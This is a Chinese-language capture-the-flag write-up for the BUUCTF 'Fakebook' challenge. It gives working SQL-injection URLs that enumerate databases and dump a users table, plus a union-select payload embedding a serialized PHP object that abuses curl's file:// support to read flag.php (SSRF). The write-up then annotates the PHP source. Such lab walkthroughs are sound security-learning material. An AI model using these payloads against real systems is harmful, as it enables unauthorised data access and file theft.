BUUCTF |Fakebook


1.在注冊后發現這個界面,猜測是不是存在注入點

http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and1 
http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and0

 2.order by得到長度為4(這里存在對空格的過濾)

3.爆庫名

/view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+

 4.繼續查詢中發現data存的是個序列化后的數據,猜測后台是通過反序列化data后輸出前端結果

/view.php?no=-1++union++select++1,group_concat(data),3,4++from++users--+

 5.查看robots.txt發現一個備份文件

<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
View Code

看完源碼的我面無表情,看了大佬的WP才知道這里是考SSRF漏洞

 6.利用ssrf,的到flag

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 

 

 

解析:

再讀一遍源碼:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
		/*curl_init():初始化一個 cURL 會話並且全部的選項都被設置后被調用*/

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		/*
			curl_setopt — 為給定的cURL會話句柄設置一個選項。
				說明:
					bool curl_setopt ( resource $ch , int $option , mixed $value )
				參數:
					ch:由 curl_init() 返回的 cURL 句柄。
					option:需要設置的CURLOPT_XXX選項。
					value:將設置在option選項上的值。
					對於下面的這些option的可選參數,value應該被設置一個bool類型的值:
						CURLOPT_RETURNTRANSFER:將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出。
					對於下面的這些option的可選參數,value應該被設置一個string類型的值:
						CURLOPT_URL:需要獲取的URL地址,也可以在curl_init()函數中設置。
						
						
						###################
						文件流的形式:指的是在傳遞過程中的文件,比如你上傳一張圖片,那么他不是以一個完整的圖片傳輸的,是將文件按特定編碼的字符傳輸.這個就是文件流
		*/
        $output = curl_exec($ch);
		/*curl_exec :執行 cURL 會話*/
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
		/*
			curl_getinfo — 獲取一個cURL連接資源句柄的信息
				說明:
					   mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )獲取最后一次傳輸的相關信息。
				參數:
				      ch 由 curl_init() 返回的 cURL 句柄。
					  opt:這個參數可能是以下常量之一:
							CURLINFO_HTTP_CODE : 最后一個收到的HTTP代碼
		*/
		
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

PS:

  • cURL是一個利用URL語法在命令行下工作的文件傳輸工具,1997年首次發行。它支持文件上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具。cURL還包含了用於程序開發的libcurl。
  • PHP支持的由Daniel Stenberg創建的libcurl庫允許你與各種的服務器使用各種類型的協議進行連接和通訊。
  • libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap協議。libcurl同時也支持HTTPS認證、HTTP POST、HTTP PUT、 FTP 上傳(這個也能通過PHP的FTP擴展完成)、HTTP 基於表單的上傳、代理、cookies和用戶名+密碼的認證。
  • PHP中使用cURL實現Get和Post請求的方法
  • 這些函數在PHP 4.0.2中被引入。

 

所以這里的重點是 curl_setopt()curl_exec()這兩個函數,在注冊界面直接輸入file:///var/www/html/flag.php存在過濾,這時候可以利用SSRF來繞過過濾

 


參考:

https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/

https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html

https://www.jianshu.com/p/90a34b08a416

拓展靶場:

https://www.freebuf.com/column/157466.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM